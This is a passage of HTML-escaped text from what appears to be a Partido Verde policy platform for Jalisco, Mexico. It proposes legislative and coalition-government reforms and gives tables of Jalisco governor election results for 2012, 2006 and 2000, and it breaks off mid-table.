http:\/\/www.cronica.com.mx\/notas\/2016\/976343.html<\/p>\n<p><a href=\"#_ftnref10\" name=\"_ftn10\">[10]<\/a> Secretar\u00eda de Salud. Informe Nacional sobre Violencia y Salud. M\u00e9xico, DF: SSA; 2006.<\/p>\n<p><a href=\"#_ftnref11\" name=\"_ftn11\">[11]<\/a> Vargas, Horacio. Violencia contra la mujer infligida por su pareja y su relaci\u00f3n con la salud mental de los hijos adolescentes. Revista M\u00e9dica Herediana. 2017.<\/p>\n<p><a href=\"#_ftnref12\" name=\"_ftn12\">[12]<\/a><a href=\"http:\/\/www.ntrguadalajara.com\/post.php?id_nota=26212\">http:\/\/www.ntrguadalajara.com\/post.php?id_nota=26212<\/a><\/p>\n<p><a href=\"#_ftnref13\" name=\"_ftn13\">[13]<\/a><a href=\"http:\/\/www.ntrguadalajara.com\/post.php?id_nota=26212\">http:\/\/www.ntrguadalajara.com\/post.php?id_nota=26212<\/a> Nota: Jalisco quinto lugar en violencia dom\u00e9stica.<\/p>\n<p><a href=\"#_ftnref14\" name=\"_ftn14\">[14]<\/a>Casique, Irene. Vulnerabilidad a la violencia dom\u00e9stica. Una propuesta de indicadores para su medici\u00f3n. Realidad, datos y espacio revista internacional de estad\u00edstica y geograf\u00eda. 2012. Informaci\u00f3n Disponible en:<\/p>\n<p>http:\/\/www.inegi.org.mx\/rde\/RDE_06\/Doctos\/RDE_06_Art4.pdf<\/p>\n<p><a href=\"#_ftnref15\" name=\"_ftn15\">[15]<\/a>Ibidem.<\/p>\n<p><a href=\"#_ftnref16\" name=\"_ftn16\">[16]<\/a>Ibidem.<\/p>\n<p><a href=\"#_ftnref17\" name=\"_ftn17\">[17]<\/a><a href=\"https:\/\/www.informador.mx\/jalisco\/Aumenta-violencia-contra-las-mujeres-en-Jalisco--20171123-0090.html\">https:\/\/www.informador.mx\/jalisco\/Aumenta-violencia-contra-las-mujeres-en-Jalisco&#8211;20171123-0090.html<\/a> Jalisco en primeros lugares de violencia contra las mujeres.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tVIII.\tPol\u00edtica\t\t\t\t\t<\/p>\n<p><strong>T\u00cdTULO: POR UN PODER LEGISLATIVO DE TRABAJE M\u00c1S Y DE MEJORES RESULTADOS PARA JALISCO<\/strong><\/p>\n<p><strong>VISI\u00d3N<\/strong>: El buen ejercicio de la representaci\u00f3n pol\u00edtica a cargo de los legisladores es un aspecto fundamental para hacer posible el ejercicio pleno de nuestros derechos. Los representantes populares son la voz de los ciudadanos en donde se toman las decisiones m\u00e1s importantes para el pa\u00eds: el Congreso del Estado de Jalisco.<\/p>\n<p>Contar con un poder legislativo vigorizado y con operaci\u00f3n eficiente, permitir\u00e1 hacer leyes conforme a las problem\u00e1ticas y necesidades vigentes, elaborar presupuestos acordes a la realidad y vigilar el ejercicio de gobierno, acompa\u00f1ando en todo momento las decisiones p\u00fablicas, adem\u00e1s le ser\u00e1 posible cumplir con sus funciones de an\u00e1lisis, discusi\u00f3n y deliberaci\u00f3n, en torno a los grandes problemas que afectan a la poblaci\u00f3n y de proposici\u00f3n de soluciones a los mismos, que regule las facultades del Ejecutivo y controle su actuaci\u00f3n, y en la medida que aglutine a las fuerzas pol\u00edticas, avanzar en la democracia.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>La creciente pluralidad, competencia y participaci\u00f3n pol\u00edtica, demandan un equilibrio efectivo de poderes, para tambi\u00e9n una colaboraci\u00f3n democr\u00e1tica e institucional acorde a las demandas poblaciones en nuestra entidad, por ello resulta indispensable una transformaci\u00f3n del dise\u00f1o institucional que permita una coordinaci\u00f3n y comunicaci\u00f3n que propicie resultados satisfactorios entre los poderes p\u00fablicos.\u00a0 Esta visi\u00f3n generara esquemas de gobernanza efectivos y vanguardistas que nos permitir\u00e1n transitar a un estado moderno y efectivo.<\/p>\n<p>M\u00faltiples an\u00e1lisis, demuestran el deterioro que el poder legislativo jalisciense presenta ante la sociedad y opini\u00f3n p\u00fablica, al no cumplir conforme a la percepci\u00f3n ciudadana la tarea fundamental de la representaci\u00f3n popular y que est\u00e1 se refleje en los actos de cada uno de los integrantes de dicha representaci\u00f3n social, por lo que se requiere una reflexi\u00f3n y planteamiento firme de su conformaci\u00f3n\u00a0 y alcances.<\/p>\n<p>Somos de la firme visi\u00f3n y convicci\u00f3n de contribuir a su mejoramiento y su acercamiento con todos los sectores de la sociedad, dot\u00e1ndolo de las facultades necesarias para que su papel de contrapeso a los dem\u00e1s poderes, la posibilidad de participar activamente en la designaci\u00f3n de los funcionarios del gobierno, titulares e integrantes de los organismos p\u00fablicos aut\u00f3nomos\u00a0 as\u00ed como su funci\u00f3n representativa, le posibiliten un mayor involucramiento en las acciones dirigidas a la sociedad jalisciense.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA: <\/strong><\/p>\n<p>De acuerdo con el informe legislativo del Instituto Mexicano de la Competitividad de 2016, s\u00f3lo el 17 % de los ciudadanos se siente representados por su Congreso; en Jalisco un Diputado Local representa a 205,609 habitantes, lo que lo convierte en la segunda entidad cuyo legislador representa a mayor n\u00famero de habitantes; ante ello ha registrado un incremento del 5.2 % real en su presupuesto, y teniendo un costo real por habitante de $ 126.3 al mes por habitante.<\/p>\n<p>Y Aunque se han consolidado importantes temas de la agenda p\u00fablica y ha existido un satisfactorio esquema de cooperaci\u00f3n entre los integrantes de los grupos parlamentarios para definir temas torales como el Sistema Estatal Anticorrupci\u00f3n, la implementaci\u00f3n de los mecanismos de participaci\u00f3n social, la reforma electoral la cual rige el proceso que ya inici\u00f3, entre otros temas trascendentes se requiere una modernizaci\u00f3n en el\u00a0 marco legal org\u00e1nico de este poder para innovar en su funcionamiento y dise\u00f1o institucional y con ello generar una productividad legislativa que se vea reflejada en acciones de gobierno, beneficios a la poblaci\u00f3n y un desarrollo integral para nuestro estado.<\/p>\n<p>Respecto a la evaluaci\u00f3n de transparencia en las finanzas legislativas Jalisco ocupa el s\u00e9ptimo lugar, con un 49% lo que aunque refleja un compromiso demuestra la necesidad de avanzar a trav\u00e9s de la modificaci\u00f3n de esquemas y sistemas de rendici\u00f3n de cuentas, con la finalidad de generar confianza y legitimidad ante los ciudadanos.<\/p>\n<p>Otro factor a considerar es la productividad en comisiones legislativas, mejorar los procesos de estudio y dictaminaci\u00f3n, y valoraci\u00f3n de iniciativas con contenido y rentabilidad social para mejorar el desempe\u00f1o de la funci\u00f3n p\u00fablica y resultados para el bienestar colectivo.<\/p>\n<p>Persisten\u00a0 en algunos rubros y aspectos la opacidad legislativa, en temas relacionados a la administraci\u00f3n de las finanzas y de recursos humanos y materiales de este poder, resulta necesario una plena implementaci\u00f3n de sistemas que transparenten dichos recursos y permitan medir los resultados de\u00a0 cada una de las acciones y decisiones de los legisladores.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Modificar la Constituci\u00f3n Pol\u00edtica del Estado, as\u00ed como el marco jur\u00eddico del Congreso del Estado para ratificar a los Secretarios de Gabinete del Ejecutivo Estatal y promover su remoci\u00f3n, bajo ciertas causales.<\/li>\n<li>Modificar la Ley Org\u00e1nica del Poder legislativo del Estado y su Reglamento para modernizar los procesos de dictaminaci\u00f3n de iniciativas de ley y decreto.<\/li>\n<li>Impulsar la creaci\u00f3n e implementaci\u00f3n de esquemas institucionales para la rendici\u00f3n de cuentas y transparencia de las finanzas legislativas y rendimiento de los recursos.<\/li>\n<\/ul>\n<p>\u00a0<\/p>\n<p><strong>TITULO: GOBIERNO DE COALICI\u00d3N<\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>Generar y fortalecer mayores condiciones de gobernabilidad entre el Ejecutivo y el Legislativo, mediante el establecimiento del Gobierno de Coalici\u00f3n dentro del sistema pol\u00edtico mexicano, donde se tracen y generen las reglas para el seguimiento de un gobierno legitimado por la sociedad.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>Actualmente, las coaliciones electorales son suscritas por los partidos pol\u00edticos a trav\u00e9s de un Convenio de Coalici\u00f3n que es utilizado \u00fanicamente como v\u00eda para llegar al poder, sin que tenga ning\u00fan efecto sobre un programa de gobierno o una agenda legislativa com\u00fan para lograr consensos en materia de gobierno.<\/p>\n<p>A diferencia de lo que ocurre actualmente donde el gabinete est\u00e1 conformado en su mayor\u00eda por integrantes del partido, en un gobierno de coalici\u00f3n las distintas fuerzas podr\u00e1n contar con representaci\u00f3n.<\/p>\n<p>La finalidad del Gobierno de Coalici\u00f3n es que el Ejecutivo, su partido y quienes lo acompa\u00f1en tengan la obligaci\u00f3n de definir de manera conjunta un convenio, un programa de gobierno, la titularidad de las Dependencias de la Administraci\u00f3n P\u00fablica y una agenda legislativa com\u00fan.<\/p>\n<p>Existir\u00e1 una corresponsabilidad en el ejercicio gubernamental y una mayor capacidad para lograr acuerdos entre el Poder Ejecutivo y los partidos pol\u00edticos representados en el Congreso con los que se suscriba el Convenio de Gobierno de Coalici\u00f3n respectivo.<\/p>\n<p>En resumen, se generar\u00e1n mayores condiciones de gobernabilidad, logrando que el ejercicio del poder vaya acompa\u00f1ado de eficacia y estabilidad, a consecuencia de una mayor legitimidad ciudadana.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>Es innegable que la pluralidad pol\u00edtica ha contribuido a generar sociedades cuya polarizaci\u00f3n se ve reflejada en la integraci\u00f3n de sus \u00f3rganos de gobierno, los cuales, a pesar de ser electos por mayor\u00eda de votos, no cuentan con el respaldo de la mayor\u00eda ciudadana.<\/p>\n<p>Para el caso de Jalisco en la elecci\u00f3n de Gobernador en 2012, nos encontramos que el actual titular del ejecutivo no ha logrado superar el 50% de los\u00a0 votos, lo que va en detrimento de un ejercicio de legitimidad y confianza de los jaliscienses.<\/p>\n<p>Gobernador<\/p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"2\">\n<p>Partido\/Coalici\u00f3n<\/p>\n<\/td>\n<td colspan=\"2\">\n<p>Candidato<\/p>\n<\/td>\n<td>\n<p>Votos<\/p>\n<\/td>\n<td>\n<p>Porcentaje<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_Acci%C3%B3n_Nacional_(M%C3%A9xico)\">Partido Acci\u00f3n Nacional<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Fernando_Guzm%C3%A1n_P%C3%A9rez_Pel%C3%A1ez&amp;action=edit&amp;redlink=1\">Fernando Guzm\u00e1n P\u00e9rez Pel\u00e1ez<\/a><\/p>\n<\/td>\n<td>\n<p>695,117<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>20.38\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>Compromiso por Jalisco<\/p>\n<p>(<a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_Revolucionario_Institucional\">PRI<\/a>, <a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_Verde_Ecologista_de_M%C3%A9xico\">PVEM<\/a>)<\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Jorge_Arist%C3%B3teles_Sandoval_D%C3%ADaz\">Jorge Arist\u00f3teles Sandoval D\u00edaz<\/a><\/p>\n<\/td>\n<td>\n<p>1,309,836<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>38.41\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_de_la_Revoluci%C3%B3n_Democr%C3%A1tica\">Partido de la Revoluci\u00f3n Democr\u00e1tica<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Fernando_Garza_Mart%C3%ADnez&amp;action=edit&amp;redlink=1\">Fernando Garza Mart\u00ednez<\/a><\/p>\n<\/td>\n<td>\n<p>115,347<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>3.38\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Movimiento_Ciudadano\">Movimiento Ciudadano<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Enrique_Alfaro_Ram%C3%ADrez\">Enrique Alfaro Ram\u00edrez<\/a><\/p>\n<\/td>\n<td>\n<p>1,160,870<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>34.04\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Nueva_Alianza\">Nueva Alianza<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Mar%C3%ADa_de_los_%C3%81ngeles_Mart%C3%ADnez_Valdivia&amp;action=edit&amp;redlink=1\">Mar\u00eda de los \u00c1ngeles Mart\u00ednez Valdivia<\/a><\/p>\n<\/td>\n<td>\n<p>46,389<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>1.36\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td colspan=\"3\">\n<p>No registrados<\/p>\n<\/td>\n<td>\n<p>1,786<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>0.05\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td colspan=\"3\">\n<p>Nulos<\/p>\n<\/td>\n<td>\n<p>80,754<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>2.36\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"4\">\n<p>Total<\/p>\n<\/td>\n<td>\n<p>3,410,099<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>100.00\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<p>En el mismo caso, nos encontramos las elecciones del titular del Poder Ejecutivo en la Entidad en los a\u00f1os 2006 y 2000:<\/p>\n<p><strong>Gobernador 2006<\/strong><\/p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"2\">\n<p><strong>Partido\/Alianza<\/strong><\/p>\n<\/td>\n<td colspan=\"2\">\n<p><strong>Candidato<\/strong><\/p>\n<\/td>\n<td>\n<p><strong>Votos<\/strong><\/p>\n<\/td>\n<td>\n<p><strong>Porcentaje<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_Acci%C3%B3n_Nacional_de_M%C3%A9xico\">Partido Acci\u00f3n Nacional<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Emilio_Gonz%C3%A1lez_M%C3%A1rquez\"><strong>Emilio Gonz\u00e1lez M\u00e1rquez<\/strong><\/a><\/p>\n<\/td>\n<td>\n<p>1,296,745<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>45.19\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_Revolucionario_Institucional\">Partido Revolucionario Institucional<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Arturo_Zamora_Jim%C3%A9nez\">Arturo Zamora Jim\u00e9nez<\/a><\/p>\n<\/td>\n<td>\n<p>1,187,822<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>41.40\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Coalici%C3%B3n_Por_el_Bien_de_Todos\">Coalici\u00f3n Por el Bien de Todos<\/a> (<a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_de_la_Revoluci%C3%B3n_Democr%C3%A1tica\">PRD<\/a>, <a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_del_Trabajo_(M%C3%A9xico)\">PT<\/a>)<\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Enrique_Ibarra_Pedroza\">Enrique Ibarra Pedroza<\/a><\/p>\n<\/td>\n<td>\n<p>224,590<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>7.83\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_Verde_Ecologista_de_M%C3%A9xico\">Partido Verde Ecologista de M\u00e9xico<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Adalberto_Velasco_Antill%C3%B3n&amp;action=edit&amp;redlink=1\">Adalberto Velasco Antill\u00f3n<\/a><a href=\"https:\/\/es.wikipedia.org\/wiki\/Elecciones_estatales_de_Jalisco_de_2006#cite_note-1\"><sup>[<\/sup><sup>1]<\/sup><\/a>\u200b<\/p>\n<\/td>\n<td>\n<p>0<\/p>\n<\/td>\n<td>\n<p>0.00%<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Convergencia_(partido_pol%C3%ADtico)\">Convergencia<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Antonio_Jaime_Reynoso&amp;action=edit&amp;redlink=1\">Antonio Jaime Reynoso<\/a><\/p>\n<\/td>\n<td>\n<p>17,829<\/p>\n<\/td>\n<td>\n<p>0.62%<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_Alternativa_Socialdem%C3%B3crata_y_Campesina\">Partido Alternativa Socialdem\u00f3crata y Campesina<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Oliva_Ornelas_Torres&amp;action=edit&amp;redlink=1\">Oliva Ornelas Torres<\/a><\/p>\n<\/td>\n<td>\n<p>36,266<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>1.26\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Nueva_Alianza\">Partido Nueva Alianza<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Fernando_Espinoza_de_los_Monteros&amp;action=edit&amp;redlink=1\">Fernando Espinoza de los Monteros<\/a><\/p>\n<\/td>\n<td>\n<p>48,355<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>1.69\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td colspan=\"3\">\n<p>No registrados<\/p>\n<\/td>\n<td>\n<p>3,501<\/p>\n<\/td>\n<td>\n<p>0.12%<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td colspan=\"3\">\n<p>Nulos<\/p>\n<\/td>\n<td>\n<p>54,214<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>1.89\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td colspan=\"4\">\n<p>Total<\/p>\n<\/td>\n<td>\n<p>2,869,322<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>100.00\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<p><strong>Gobernador\u00a0 a\u00f1o 2000<\/strong><\/p>\n<table>\n<tbody>\n<tr>\n<td colspan=\"2\">\n<p><strong>Partido\/Alianza<\/strong><\/p>\n<\/td>\n<td colspan=\"2\">\n<p><strong>Candidato<\/strong><\/p>\n<\/td>\n<td>\n<p><strong>Votos<\/strong><\/p>\n<\/td>\n<td>\n<p><strong>Porcentaje<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_Acci%C3%B3n_Nacional_(M%C3%A9xico)\">Partido Acci\u00f3n Nacional<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Francisco_Javier_Ram%C3%ADrez_Acu%C3%B1a\">Francisco Javier Ram\u00edrez Acu\u00f1a<\/a><\/p>\n<\/td>\n<td>\n<p>983,502<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>45.5\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_Revolucionario_Institucional\">Partido Revolucionario Institucional<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Jorge_Arana_Arana\">Jorge Arana Arana<\/a><\/p>\n<\/td>\n<td>\n<p>936,657<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>43.3\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_de_la_Revoluci%C3%B3n_Democr%C3%A1tica\">Partido de la Revoluci\u00f3n Democr\u00e1tica<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Ra%C3%BAl_Vargas_L%C3%B3pez&amp;action=edit&amp;redlink=1\">Ra\u00fal Vargas L\u00f3pez<\/a><\/p>\n<\/td>\n<td>\n<p>112,743<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>5.2\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_del_Trabajo_(M%C3%A9xico)\">Partido del Trabajo<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Marisela_Moguel_D%C3%ADaz&amp;action=edit&amp;redlink=1\">Marisela Moguel D\u00edaz<\/a><\/p>\n<\/td>\n<td>\n<p>34,006<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>1.6\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_Verde_Ecologista_de_M%C3%A9xico\">Partido Verde Ecologista de M\u00e9xico<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Gabriel_Varela_Robles&amp;action=edit&amp;redlink=1\">Gabriel Varela Robles<\/a><\/p>\n<\/td>\n<td>\n<p>27,010<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>1.2\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Convergencia_(partido_pol%C3%ADtico)\">Convergencia<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Juan_Hern%C3%A1ndez_Rivas&amp;action=edit&amp;redlink=1\">Juan Hern\u00e1ndez Rivas<\/a><\/p>\n<\/td>\n<td>\n<p>6,920<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>0.3\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_de_la_Sociedad_Nacionalista\">Partido de la Sociedad Nacionalista<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Isabel_Garc%C3%ADa\">Isabel Garc\u00eda<\/a><\/p>\n<\/td>\n<td>\n<p>2,196<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>0.1\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_Alianza_Social\">Partido Alianza Social<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Sergio_Rocha_Reyes&amp;action=edit&amp;redlink=1\">Sergio Rocha Reyes<\/a><\/p>\n<\/td>\n<td>\n<p>7,403<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>0.3\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_Aut%C3%A9ntico_de_la_Revoluci%C3%B3n_Mexicana\">Partido Aut\u00e9ntico de la Revoluci\u00f3n Mexicana<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Silvia_Gonz%C3%A1lez_Cervantes&amp;action=edit&amp;redlink=1\">Silvia Gonz\u00e1lez Cervantes<\/a><\/p>\n<\/td>\n<td>\n<p>3,631<\/p>\n<\/td>\n<td>\n<table>\n<tbody>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p>0.2\u00a0%<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/wiki\/Partido_de_Centro_Democr%C3%A1tico\">Partido de Centro Democr\u00e1tico<\/a><\/p>\n<\/td>\n<td>\u00a0<\/td>\n<td>\n<p><a href=\"https:\/\/es.wikipedia.org\/w\/index.php?title=Adri%C3%A1n_Michel_Espino&amp;action=edit&amp;redlink=1\">Adri\u00e1n Michel 